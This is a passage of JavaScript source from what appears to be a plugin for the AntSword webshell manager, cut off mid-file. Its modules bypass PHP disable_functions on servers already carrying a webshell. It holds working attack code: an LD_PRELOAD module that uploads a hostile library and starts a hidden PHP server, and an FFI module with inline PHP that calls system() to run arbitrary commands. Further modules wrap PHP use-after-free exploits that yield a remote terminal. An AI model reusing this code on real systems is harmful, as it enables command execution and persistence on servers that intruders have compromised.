flex;flex-direction: row;align-items: center;", 126 | list: [{ 127 | type: 'label', 128 | label: '', 129 | name: 'status_label' 130 | }, { 131 | type: 'newcolumn', 132 | offset: 20 133 | }, { 134 | type: 'label', 135 | label: '', 136 | name: 'status_msg' 137 | }, ] 138 | }, 139 | { 140 | type: 'block', 141 | inputWidth: 'auto', 142 | list: [{ 143 | type: 'template', 144 | label: "Reference", 145 | style: "width:100%;", 146 | format: references 147 | }, ] 148 | } 149 | ], true); 150 | return form; 151 | } 152 | 153 | // 执行EXP, 必须有这个函数 154 | exploit() { 155 | let self = this; 156 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000 157 | if (self.form.validate()) { 158 | self.cell.progressOn(); 159 | let core = self.top.core; 160 | let formvals = self.form.getValues(); 161 | let phpbinary = formvals['phpbinary']; 162 | let webrootdir = formvals['webrootdir']; 163 | // 生成 ext 164 | let wdir = ""; 165 | if (self.isOpenBasedir) { 166 | for (var v in self.top.infodata.open_basedir) { 167 | if (self.top.infodata.open_basedir[v] == 1) { 168 | if (v == self.top.infodata.phpself) { 169 | wdir = v; 170 | } else { 171 | wdir = v; 172 | } 173 | break; 174 | } 175 | }; 176 | } else { 177 | wdir = self.top.infodata.temp_dir; 178 | } 179 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`; 180 | let fileBuffer = self.generateExt(cmd); 181 | if (!fileBuffer) { 182 | toastr.warning(LD_PRELOAD_LANG['msg']['genext_err'], LANG_T["warning"]); 183 | self.cell.progressOff(); 184 | return 185 | } 186 | 187 | new Promise((res, rej) => { 188 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`; 189 | // 上传 ext 190 | core.request( 191 | core.filemanager.upload_file({ 192 | path: ext_path, 193 | content: fileBuffer 194 | }) 195 | ).then((response) => { 196 | var ret = response['text']; 197 | if (ret === '1') { 198 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']); 199 | res(ext_path); 200 | } else { 201 | rej("upload extension fail"); 202 | } 203 | }).catch((err) => { 204 | rej(err) 205 | }); 206 | }).then((p) => { 207 | // 触发 payload, 会超时 208 | var payload = `error_reporting(E_ALL);putenv("LD_PRELOAD=${p}");error_log("a", 1);echo(1);`; 209 | core.request({ 210 | _: payload, 211 | }).then((response) => { 212 | 213 | }).catch((err) => { 214 | // 超时也是正常 215 | }) 216 | }).then(() => { 217 | // 验证是否成功开启 218 | var payload = `sleep(1); 219 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1); 220 | if(!$fp){ 221 | echo(0); 222 | }else{ 223 | echo(1); 224 | @fclose($fp); 225 | };` 226 | core.request({ 227 | _: payload, 228 | }).then((response) => { 229 | var ret = response['text']; 230 | if (ret === '1') { 231 | toastr.success(LANG['success'], LANG_T['success']); 232 | self.form.setItemLabel('status_label', `New WebServer Listen`); 233 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`); 234 | self.uploadProxyScript("127.0.0.1", port); 235 | self.cell.progressOff(); 236 | } else { 237 | self.cell.progressOff(); 238 | throw ("exploit fail"); 239 | } 240 | }).catch((err) => { 241 | self.cell.progressOff(); 242 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 243 | }); 244 | }).catch((err) => { 245 | self.cell.progressOff(); 246 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 247 | }); 248 | } else { 249 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]); 250 | } 251 | return; 252 | } 253 | } 254 | 255 | function references(name, value) { 256 | let refs = { 257 | "github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1/", 258 | "AntSword-Labs/bypass_disable_functions/4/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/4/", 259 | }; 260 | let ret = ""; 261 | Object.keys(refs).map((k) => { 262 | ret += `
  • ${k}
  • `; 263 | }) 264 | return ``; 265 | } 266 | module.exports = LD_PRELOAD; -------------------------------------------------------------------------------- /core/php74_ffi/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const nodeurl = require('url'); 7 | let PHP74_FFI_LANG = LANG['core']['php74_ffi']; 8 | 9 | class PHP74_FFI extends Base { 10 | /** 11 | * 12 | * @param {dhtmlxObject} cell 组件 13 | * @param {Object} top 上层对象 14 | */ 15 | constructor(cell, top) { 16 | super(cell, top); 17 | if (this.precheck() == false) { 18 | return; 19 | } 20 | this.infodata = { 21 | ver: this.top.infodata.ver, 22 | ffi: false, 23 | ffi_enable: "", 24 | }; 25 | this.cell = cell; 26 | this.form = this.createForm(this.cell); 27 | } 28 | 29 | // 提前检测 30 | precheck() { 31 | let self = this; 32 | let infodata = self.top.infodata; 33 | // if (infodata.os.toLowerCase() !== "linux") { 34 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 35 | // return false; 36 | // } 37 | // if (!self.CompVersion("7.4", infodata.ver)) { 38 | // toastr.error(PHP74_FFI_LANG['err']['phpvererr'], LANG_T['error']); 39 | // return false; 40 | // } 41 | // 检查 ffi 扩展 42 | 43 | return true; 44 | } 45 | 46 | createForm(cell) { 47 | let self = this; 48 | let form = cell.attachForm([{ 49 | type: 'settings', 50 | position: 'label-left', 51 | labelWidth: 100, 52 | inputWidth: 300, 53 | }, { 54 | type: 'block', 55 | inputWidth: 'auto', 56 | list: [{ 57 | type: 'label', 58 | labelWidth: 300, 59 | label: PHP74_FFI_LANG['title'] 60 | }, { 61 | type: 'block', 62 | inputWidth: 'auto', 63 | list: [{ 64 | type: 'settings' 65 | }, 66 | { 67 | type: "label", 68 | label: `${PHP74_FFI_LANG['status_cell']['ver']}`, 69 | }, 70 | { 71 | type: "label", 72 | label: `${PHP74_FFI_LANG['status_cell']['ffi']}`, 73 | }, 74 | { 75 | type: "label", 76 | label: `${PHP74_FFI_LANG['status_cell']['ffi_enable']}`, 77 | }, 78 | { 79 | type: "newcolumn" 80 | }, 81 | { 82 | type: "label", 83 | label: `${antSword.noxss(self.infodata['ver'])}`, 84 | }, 85 | { 86 | type: "label", 87 | label: `${antSword.noxss(self.infodata['ffi'] === true ?'YES':'NO')}`, 88 | }, 89 | { 90 | type: "label", 91 | label: `${antSword.noxss(self.infodata['ffi_enable'] === '1' ?'YES': (self.infodata['ffi_enable'] === '' ? 'No': self.infodata['ffi_enable']))}`, 92 | } 93 | ], 94 | }] 95 | }, 96 | { 97 | type: 'block', 98 | labelWidth: 100, 99 | inputWidth: 'auto', 100 | className: "display: flex;flex-direction: row;align-items: center;", 101 | list: [{ 102 | type: 'label', 103 | label: '', 104 | name: 'status_label' 105 | }, { 106 | type: 'newcolumn', 107 | offset: 20 108 | }, { 109 | type: 'label', 110 | label: '', 111 | name: 'status_msg' 112 | }, ] 113 | }, 114 | { 115 | type: 'block', 116 | inputWidth: 'auto', 117 | list: [{ 118 | type: 'template', 119 | label: "Reference", 120 | style: "width:100%;", 121 | format: references 122 | }, ] 123 | } 124 | ], true); 125 | return form; 126 | } 127 | 128 | // 执行EXP, 必须有这个函数 129 | exploit() { 130 | let self = this; 131 | self.core = self.top.core; 132 | let _precode = { 133 | _: `$rt = array("ffi" => extension_loaded("ffi"), 134 | "ffi_enable" => ini_get("ffi.enable"), 135 | ); 136 | echo json_encode($rt);` 137 | }; 138 | new Promise((res, rej) => { 139 | self.core 140 | .request(_precode) 141 | .then((_ret) => { 142 | let _res = antSword.unxss(_ret['text']); 143 | self.infodata = Object.assign(self.infodata, JSON.parse(_res)); 144 | self.createForm(self.cell); 145 | res(self.infodata); 146 | }).catch((err) => { 147 | rej(err); 148 | }) 149 | }).then(info => { 150 | if (!info.ffi) { 151 | throw new Error(PHP74_FFI_LANG['err']['ffi_not_loaded']); 152 | } 153 | if (info.ffi_enable != "1") { 154 | throw new Error(PHP74_FFI_LANG['err']['ffi_not_enable']); 155 | } 156 | }) 157 | .then(() => { 158 | if (self.top.infodata.os.toLowerCase().indexOf("win") > -1) { 159 | new antSword.module.terminal(self.top.opt, { 160 | exec: (arg = { 161 | bin: 'cmd', 162 | cmd: '' 163 | }) => { 164 | return { 165 | _: `$tmp = tempnam(sys_get_temp_dir(), 'as'); 166 | $cmd = "${arg['bin']} /c \\\"".@base64_decode("${Buffer.from(arg['cmd']).toString('base64')}")."\\\" > ".$tmp; 167 | $ffi = FFI::cdef("int system(const char *command);", "msvcrt"); 168 | $ffi->system($cmd); 169 | echo @file_get_contents($tmp); 170 | unlink($tmp);` 171 | } 172 | } 173 | }); 174 | } else { 175 | new antSword.module.terminal(self.top.opt, { 176 | exec: (arg = { 177 | bin: '/bin/bash', 178 | cmd: '' 179 | }) => { 180 | return { 181 | _: `$tmp = tempnam(sys_get_temp_dir(), 'as'); 182 | $cmd = "${arg['bin']} -c \\\"".@base64_decode("${Buffer.from(arg['cmd']).toString('base64')}")."\\\""." > ".$tmp." 2>&1"; 183 | $ffi = FFI::cdef("int system(const char *command);"); 184 | $ffi->system($cmd); 185 | echo @file_get_contents($tmp); 186 | unlink($tmp);` 187 | } 188 | } 189 | }); 190 | } 191 | }) 192 | .catch(err => { 193 | toastr.error(`${LANG['error']}: ${err}`, LANG_T['error']); 194 | }); 195 | 196 | } 197 | } 198 | 199 | function references(name, value) { 200 | let refs = { 201 | "AntSword-Labs/bypass_disable_functions/8": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/8", 202 | "PHP FFI - 一种全新的PHP扩展方式": "https://www.laruence.com/2020/03/11/5475.html", 203 | "RCTF2019Web题解之nextphp": "https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp", 204 | }; 205 | let ret = ""; 206 | Object.keys(refs).map((k) => { 207 | ret += `
  • ${k}
  • `; 208 | }) 209 | return ``; 210 | } 211 | 212 | module.exports = PHP74_FFI; -------------------------------------------------------------------------------- /core/php7_backtrace_uaf/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const nodeurl = require('url'); 7 | const { 8 | PHP7_Backtrace_UAF_EXP 9 | } = require('../../payload'); 10 | let PHP7_Backtrace_UAF_LANG = LANG['core']['php7_backtrace_uaf']; 11 | 12 | class PHP7_Backtrace_UAF extends Base { 13 | /** 14 | * 15 | * @param {dhtmlxObject} cell 组件 16 | * @param {Object} top 上层对象 17 | */ 18 | constructor(cell, top) { 19 | super(cell, top); 20 | if (this.precheck() == false) { 21 | return; 22 | } 23 | this.infodata = { 24 | ver: this.top.infodata.ver, 25 | }; 26 | this.cell = cell; 27 | this.form = this.createForm(this.cell); 28 | } 29 | 30 | // 提前检测 31 | precheck() { 32 | let self = this; 33 | let infodata = self.top.infodata; 34 | if (infodata.os.toLowerCase() !== "linux") { 35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 36 | return false; 37 | } 38 | if (infodata.ver != "7.0" && 39 | infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3" && infodata.ver != "7.4") { 40 | toastr.error(PHP7_Backtrace_UAF_LANG['err']['phpvererr'], LANG_T['error']); 41 | return false; 42 | } 43 | // TODO: 检查详细版本号 44 | return true; 45 | } 46 | 47 | createForm(cell) { 48 | let self = this; 49 | let form = cell.attachForm([{ 50 | type: 'settings', 51 | position: 'label-left', 52 | labelWidth: 100, 53 | inputWidth: 300, 54 | }, { 55 | type: 'block', 56 | inputWidth: 'auto', 57 | list: [{ 58 | type: 'label', 59 | labelWidth: 300, 60 | label: PHP7_Backtrace_UAF_LANG['title'] 61 | }, { 62 | type: 'block', 63 | inputWidth: 'auto', 64 | list: [{ 65 | type: 'settings' 66 | }, 67 | { 68 | type: "label", 69 | label: `${PHP7_Backtrace_UAF_LANG['status_cell']['ver']}`, 70 | }, 71 | { 72 | type: "newcolumn" 73 | }, 74 | { 75 | type: "label", 76 | labelWidth: 300, 77 | label: `7.0 - all versions to date`, 78 | }, 79 | { 80 | type: "label", 81 | labelWidth: 300, 82 | label: `7.1 - all versions to date`, 83 | }, 84 | { 85 | type: "label", 86 | labelWidth: 300, 87 | label: `7.2 - all versions to date`, 88 | }, 89 | { 90 | type: "label", 91 | labelWidth: 300, 92 | label: `7.3 < 7.3.15 (released 20 Feb 2020)`, 93 | }, 94 | { 95 | type: "label", 96 | labelWidth: 300, 97 | label: `7.4 < 7.4.3 (released 20 Feb 2020)`, 98 | }, 99 | ], 100 | }] 101 | }, 102 | { 103 | type: 'block', 104 | labelWidth: 100, 105 | inputWidth: 'auto', 106 | className: "display: flex;flex-direction: row;align-items: center;", 107 | list: [{ 108 | type: 'label', 109 | label: '', 110 | name: 'status_label' 111 | }, { 112 | type: 'newcolumn', 113 | offset: 20 114 | }, { 115 | type: 'label', 116 | label: '', 117 | name: 'status_msg' 118 | }, ] 119 | }, 120 | { 121 | type: 'block', 122 | inputWidth: 'auto', 123 | list: [{ 124 | type: 'template', 125 | label: "Reference", 126 | style: "width:100%;", 127 | format: references 128 | }, ] 129 | } 130 | ], true); 131 | return form; 132 | } 133 | 134 | // 执行EXP, 必须有这个函数 135 | exploit() { 136 | let self = this; 137 | self.core = self.top.core; 138 | let binary = '/bin/sh' 139 | if(self.top.infodata.os.toLowerCase().startsWith('win')) { 140 | binary = 'cmd' 141 | } 142 | new antSword.module.terminal(self.top.opt, { 143 | exec: (arg = { 144 | bin: binary, 145 | cmd: '' 146 | }) => { 147 | return { 148 | _: PHP7_Backtrace_UAF_EXP(arg['bin'], arg['cmd']), 149 | } 150 | } 151 | }); 152 | } 153 | } 154 | 155 | function references(name, value) { 156 | let refs = { 157 | "AntSword-Labs/bypass_disable_functions/9": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/9", 158 | "php7-gc-bypass": "https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass", 159 | "Bug #76047 Use-after-free when accessing already destructed backtrace arguments": "https://bugs.php.net/bug.php?id=76047", 160 | }; 161 | let ret = ""; 162 | Object.keys(refs).map((k) => { 163 | ret += `
  • ${k}
  • `; 164 | }) 165 | return ``; 166 | } 167 | 168 | module.exports = PHP7_Backtrace_UAF; -------------------------------------------------------------------------------- /core/php7_gc_uaf/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const nodeurl = require('url'); 7 | const { 8 | PHP7_GC_UAF_EXP 9 | } = require('../../payload'); 10 | let PHP7_GC_UAF_LANG = LANG['core']['php7_gc_uaf']; 11 | 12 | class PHP7_GC_UAF extends Base { 13 | /** 14 | * 15 | * @param {dhtmlxObject} cell 组件 16 | * @param {Object} top 上层对象 17 | */ 18 | constructor(cell, top) { 19 | super(cell, top); 20 | if (this.precheck() == false) { 21 | return; 22 | } 23 | this.infodata = { 24 | ver: this.top.infodata.ver, 25 | }; 26 | this.cell = cell; 27 | this.form = this.createForm(this.cell); 28 | } 29 | 30 | // 提前检测 31 | precheck() { 32 | let self = this; 33 | let infodata = self.top.infodata; 34 | if (infodata.os.toLowerCase() !== "linux") { 35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 36 | return false; 37 | } 38 | if (infodata.ver != "7.0" && 39 | infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") { 40 | toastr.error(PHP7_GC_UAF_LANG['err']['phpvererr'], LANG_T['error']); 41 | return false; 42 | } 43 | // TODO: 检查详细版本号 44 | return true; 45 | } 46 | 47 | createForm(cell) { 48 | let self = this; 49 | let form = cell.attachForm([{ 50 | type: 'settings', 51 | position: 'label-left', 52 | labelWidth: 100, 53 | inputWidth: 300, 54 | }, { 55 | type: 'block', 56 | inputWidth: 'auto', 57 | list: [{ 58 | type: 'label', 59 | labelWidth: 300, 60 | label: PHP7_GC_UAF_LANG['title'] 61 | }, { 62 | type: 'block', 63 | inputWidth: 'auto', 64 | list: [{ 65 | type: 'settings' 66 | }, 67 | { 68 | type: "label", 69 | label: `${PHP7_GC_UAF_LANG['status_cell']['ver']}`, 70 | }, 71 | { 72 | type: "newcolumn" 73 | }, 74 | { 75 | type: "label", 76 | labelWidth: 300, 77 | label: `7.0 - all versions to date`, 78 | }, 79 | { 80 | type: "label", 81 | labelWidth: 300, 82 | label: `7.1 - all versions to date`, 83 | }, 84 | { 85 | type: "label", 86 | labelWidth: 300, 87 | label: `7.2 - all versions to date`, 88 | }, 89 | { 90 | type: "label", 91 | labelWidth: 300, 92 | label: `7.3 - all versions to date`, 93 | }, 94 | ], 95 | }] 96 | }, 97 | { 98 | type: 'block', 99 | labelWidth: 100, 100 | inputWidth: 'auto', 101 | className: "display: flex;flex-direction: row;align-items: center;", 102 | list: [{ 103 | type: 'label', 104 | label: '', 105 | name: 'status_label' 106 | }, { 107 | type: 'newcolumn', 108 | offset: 20 109 | }, { 110 | type: 'label', 111 | label: '', 112 | name: 'status_msg' 113 | }, ] 114 | }, 115 | { 116 | type: 'block', 117 | inputWidth: 'auto', 118 | list: [{ 119 | type: 'template', 120 | label: "Reference", 121 | style: "width:100%;", 122 | format: references 123 | }, ] 124 | } 125 | ], true); 126 | return form; 127 | } 128 | 129 | // 执行EXP, 必须有这个函数 130 | exploit() { 131 | let self = this; 132 | self.core = self.top.core; 133 | let binary = '/bin/sh' 134 | if(self.top.infodata.os.toLowerCase().startsWith('win')) { 135 | binary = 'cmd' 136 | } 137 | new antSword.module.terminal(self.top.opt, { 138 | exec: (arg = { 139 | bin: binary, 140 | cmd: '' 141 | }) => { 142 | return { 143 | _: PHP7_GC_UAF_EXP(arg['bin'], arg['cmd']), 144 | } 145 | } 146 | }); 147 | } 148 | } 149 | 150 | function references(name, value) { 151 | let refs = { 152 | "AntSword-Labs/bypass_disable_functions/7": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/7", 153 | "php7-gc-bypass": "https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass", 154 | "Bug #72530 Use after free in GC with Certain Destructors": "https://bugs.php.net/bug.php?id=72530", 155 | }; 156 | let ret = ""; 157 | Object.keys(refs).map((k) => { 158 | ret += `
  • ${k}
  • `; 159 | }) 160 | return ``; 161 | } 162 | 163 | module.exports = PHP7_GC_UAF; -------------------------------------------------------------------------------- /core/php7_reflectionproperty_uaf/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const nodeurl = require('url'); 7 | const { 8 | PHP7_ReflectionProperty_UAF_EXP 9 | } = require('../../payload'); 10 | let PHP7_ReflectionProperty_UAF_LANG = LANG['core']['php7_reflectionproperty_uaf']; 11 | 12 | class PHP7_ReflectionProperty_UAF extends Base { 13 | /** 14 | * 15 | * @param {dhtmlxObject} cell 组件 16 | * @param {Object} top 上层对象 17 | */ 18 | constructor(cell, top) { 19 | super(cell, top); 20 | if (this.precheck() == false) { 21 | return; 22 | } 23 | this.infodata = { 24 | ver: this.top.infodata.ver, 25 | }; 26 | this.cell = cell; 27 | this.form = this.createForm(this.cell); 28 | } 29 | 30 | // 提前检测 31 | precheck() { 32 | let self = this; 33 | let infodata = self.top.infodata; 34 | if (infodata.os.toLowerCase() !== "linux") { 35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 36 | return false; 37 | } 38 | if (infodata.ver != "7.4") { 39 | toastr.error(PHP7_ReflectionProperty_UAF_LANG['err']['phpvererr'], LANG_T['error']); 40 | return false; 41 | } 42 | // TODO: 检查详细版本号 43 | return true; 44 | } 45 | 46 | createForm(cell) { 47 | let self = this; 48 | let form = cell.attachForm([{ 49 | type: 'settings', 50 | position: 'label-left', 51 | labelWidth: 100, 52 | inputWidth: 300, 53 | }, { 54 | type: 'block', 55 | inputWidth: 'auto', 56 | list: [{ 57 | type: 'label', 58 | labelWidth: 300, 59 | label: PHP7_ReflectionProperty_UAF_LANG['title'] 60 | }, { 61 | type: 'block', 62 | inputWidth: 'auto', 63 | list: [{ 64 | type: 'settings' 65 | }, 66 | { 67 | type: "label", 68 | label: `${PHP7_ReflectionProperty_UAF_LANG['status_cell']['ver']}`, 69 | }, 70 | { 71 | type: "newcolumn" 72 | }, 73 | { 74 | type: "label", 75 | labelWidth: 300, 76 | label: `7.4 <= 7.4.8`, 77 | }, 78 | ], 79 | }] 80 | }, 81 | { 82 | type: 'block', 83 | labelWidth: 100, 84 | inputWidth: 'auto', 85 | className: "display: flex;flex-direction: row;align-items: center;", 86 | list: [{ 87 | type: 'label', 88 | label: '', 89 | name: 'status_label' 90 | }, { 91 | type: 'newcolumn', 92 | offset: 20 93 | }, { 94 | type: 'label', 95 | label: '', 96 | name: 'status_msg' 97 | }, ] 98 | }, 99 | { 100 | type: 'block', 101 | inputWidth: 'auto', 102 | list: [{ 103 | type: 'template', 104 | label: "Reference", 105 | style: "width:100%;", 106 | format: references 107 | }, ] 108 | } 109 | ], true); 110 | return form; 111 | } 112 | 113 | // 执行EXP, 必须有这个函数 114 | exploit() { 115 | let self = this; 116 | self.core = self.top.core; 117 | new antSword.module.terminal(self.top.opt, { 118 | exec: (arg = { 119 | bin: '/bin/bash', 120 | cmd: '' 121 | }) => { 122 | return { 123 | _: PHP7_ReflectionProperty_UAF_EXP(arg['bin'], arg['cmd']), 124 | } 125 | } 126 | }); 127 | } 128 | } 129 | 130 | function references(name, value) { 131 | let refs = { 132 | "2020YCBCTF/Break_the_Wall": "https://github.com/gwht/2020YCBCTF/tree/main/wp/web/break_the_wall", 133 | "Bug #79820 Use after free when type duplicated into ReflectionProperty gets resolved": "https://bugs.php.net/bug.php?id=79820", 134 | }; 135 | let ret = ""; 136 | Object.keys(refs).map((k) => { 137 | ret += `
  • ${k}
  • `; 138 | }) 139 | return ``; 140 | } 141 | 142 | module.exports = PHP7_ReflectionProperty_UAF; -------------------------------------------------------------------------------- /core/php7_userfilter/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const nodeurl = require('url'); 7 | const { 8 | PHP7_UserFilter_EXP 9 | } = require('../../payload'); 10 | let PHP7_USERFILTER_LANG = LANG['core']['php7_userfilter']; 11 | 12 | class PHP7_UserFilter extends Base { 13 | /** 14 | * 15 | * @param {dhtmlxObject} cell 组件 16 | * @param {Object} top 上层对象 17 | */ 18 | constructor(cell, top) { 19 | super(cell, top); 20 | if (this.precheck() == false) { 21 | return; 22 | } 23 | this.infodata = { 24 | ver: this.top.infodata.ver, 25 | }; 26 | this.cell = cell; 27 | this.form = this.createForm(this.cell); 28 | } 29 | 30 | // 提前检测 31 | precheck() { 32 | let self = this; 33 | let infodata = self.top.infodata; 34 | // if (infodata.os.toLowerCase() !== "linux") { 35 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 36 | // return false; 37 | // } 38 | // if (infodata.ver != "7.0" && 39 | // infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") { 40 | // toastr.error(PHP7_USERFILTER_LANG['err']['phpvererr'], LANG_T['error']); 41 | // return false; 42 | // } 43 | return true; 44 | } 45 | 46 | createForm(cell) { 47 | let self = this; 48 | let form = cell.attachForm([{ 49 | type: 'settings', 50 | position: 'label-left', 51 | labelWidth: 100, 52 | inputWidth: 300, 53 | }, { 54 | type: 'block', 55 | inputWidth: 'auto', 56 | list: [{ 57 | type: 'label', 58 | labelWidth: 300, 59 | label: PHP7_USERFILTER_LANG['title'] 60 | }, { 61 | type: 'block', 62 | inputWidth: 'auto', 63 | list: [{ 64 | type: 'settings' 65 | }, 66 | { 67 | type: "label", 68 | label: `${PHP7_USERFILTER_LANG['status_cell']['ver']}`, 69 | }, 70 | { 71 | type: "newcolumn" 72 | }, 73 | { 74 | type: "label", 75 | labelWidth: 300, 76 | label: `7.0 - all versions to date`, 77 | }, 78 | { 79 | type: "label", 80 | labelWidth: 300, 81 | label: `7.1 - all versions to date`, 82 | }, 83 | { 84 | type: "label", 85 | labelWidth: 300, 86 | label: `7.2 - all versions to date`, 87 | }, 88 | { 89 | type: "label", 90 | labelWidth: 300, 91 | label: `7.3 - all versions to date`, 92 | }, 93 | { 94 | type: "label", 95 | labelWidth: 300, 96 | label: `7.4 - all versions to date`, 97 | }, 98 | { 99 | type: "label", 100 | labelWidth: 300, 101 | label: `8.0 - all versions to date`, 102 | } 103 | ], 104 | }] 105 | }, 106 | { 107 | type: 'block', 108 | labelWidth: 100, 109 | inputWidth: 'auto', 110 | className: "display: flex;flex-direction: row;align-items: center;", 111 | list: [{ 112 | type: 'label', 113 | label: '', 114 | name: 'status_label' 115 | }, { 116 | type: 'newcolumn', 117 | offset: 20 118 | }, { 119 | type: 'label', 120 | label: '', 121 | name: 'status_msg' 122 | }, ] 123 | }, 124 | { 125 | type: 'block', 126 | inputWidth: 'auto', 127 | list: [{ 128 | type: 'template', 129 | label: "Reference", 130 | style: "width:100%;", 131 | format: references 132 | }, ] 133 | } 134 | ], true); 135 | return form; 136 | } 137 | 138 | // 执行EXP, 必须有这个函数 139 | exploit() { 140 | let self = this; 141 | self.core = self.top.core; 142 | let binary = '/bin/sh' 143 | if(self.top.infodata.os.toLowerCase().startsWith('win')) { 144 | binary = 'cmd' 145 | } 146 | new antSword.module.terminal(self.top.opt, { 147 | exec: (arg = { 148 | bin: binary, 149 | cmd: '' 150 | }) => { 151 | return { 152 | _: PHP7_UserFilter_EXP(arg['bin'], arg['cmd']), 153 | } 154 | } 155 | }); 156 | } 157 | } 158 | 159 | function references(name, value) { 160 | let refs = { 161 | "PHP 7.0-8.0 user_filter bypass": "https://github.com/mm0r1/exploits/tree/master/php-filter-bypass", 162 | "AntSword-Labs/bypass_disable_functions/7": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/7", 163 | "Bug #54350 Memory corruption with user_filter": "https://bugs.php.net/bug.php?id=54350", 164 | }; 165 | let ret = ""; 166 | Object.keys(refs).map((k) => { 167 | ret += `
  • ${k}
  • `; 168 | }) 169 | return ``; 170 | } 171 | 172 | module.exports = PHP7_UserFilter; -------------------------------------------------------------------------------- /core/php_concat_uaf/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const nodeurl = require('url'); 7 | const { 8 | PHP_CONCAT_UAF_EXP 9 | } = require('../../payload'); 10 | let PHP_CONCAT_UAF_LANG = LANG['core']['php_concat_uaf']; 11 | 12 | class PHP_Concat_UAF extends Base { 13 | /** 14 | * 15 | * @param {dhtmlxObject} cell 组件 16 | * @param {Object} top 上层对象 17 | */ 18 | constructor(cell, top) { 19 | super(cell, top); 20 | if (this.precheck() == false) { 21 | return; 22 | } 23 | this.infodata = { 24 | ver: this.top.infodata.ver, 25 | }; 26 | this.cell = cell; 27 | this.form = this.createForm(this.cell); 28 | } 29 | 30 | // 提前检测 31 | precheck() { 32 | let self = this; 33 | let infodata = self.top.infodata; 34 | // if (infodata.os.toLowerCase() !== "linux") { 35 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 36 | // return false; 37 | // } 38 | // if (infodata.ver != "7.3" && 39 | // infodata.ver != "7.4" && infodata.ver != "8.0" && infodata.ver != "8.1") { 40 | // toastr.error(PHP_CONCAT_UAF_LANG['err']['phpvererr'], LANG_T['error']); 41 | // return false; 42 | // } 43 | return true; 44 | } 45 | 46 | createForm(cell) { 47 | let self = this; 48 | let form = cell.attachForm([{ 49 | type: 'settings', 50 | position: 'label-left', 51 | labelWidth: 100, 52 | inputWidth: 300, 53 | }, { 54 | type: 'block', 55 | inputWidth: 'auto', 56 | list: [{ 57 | type: 'label', 58 | labelWidth: 300, 59 | label: PHP_CONCAT_UAF_LANG['title'] 60 | }, { 61 | type: 'block', 62 | inputWidth: 'auto', 63 | list: [{ 64 | type: 'settings' 65 | }, 66 | { 67 | type: "label", 68 | label: `${PHP_CONCAT_UAF_LANG['status_cell']['ver']}`, 69 | }, 70 | { 71 | type: "newcolumn" 72 | }, 73 | { 74 | type: "label", 75 | labelWidth: 300, 76 | label: `7.3 - all versions to date`, 77 | }, 78 | { 79 | type: "label", 80 | labelWidth: 300, 81 | label: `7.4 - all versions to date`, 82 | }, 83 | { 84 | type: "label", 85 | labelWidth: 300, 86 | label: `8.0 - all versions to date`, 87 | }, 88 | { 89 | type: "label", 90 | labelWidth: 300, 91 | label: `8.1 - all versions to date`, 92 | } 93 | ], 94 | }] 95 | }, 96 | { 97 | type: 'block', 98 | labelWidth: 100, 99 | inputWidth: 'auto', 100 | className: "display: flex;flex-direction: row;align-items: center;", 101 | list: [{ 102 | type: 'label', 103 | label: '', 104 | name: 'status_label' 105 | }, { 106 | type: 'newcolumn', 107 | offset: 20 108 | }, { 109 | type: 'label', 110 | label: '', 111 | name: 'status_msg' 112 | }, ] 113 | }, 114 | { 115 | type: 'block', 116 | inputWidth: 'auto', 117 | list: [{ 118 | type: 'template', 119 | label: "Reference", 120 | style: "width:100%;", 121 | format: references 122 | }, ] 123 | } 124 | ], true); 125 | return form; 126 | } 127 | 128 | // 执行EXP, 必须有这个函数 129 | exploit() { 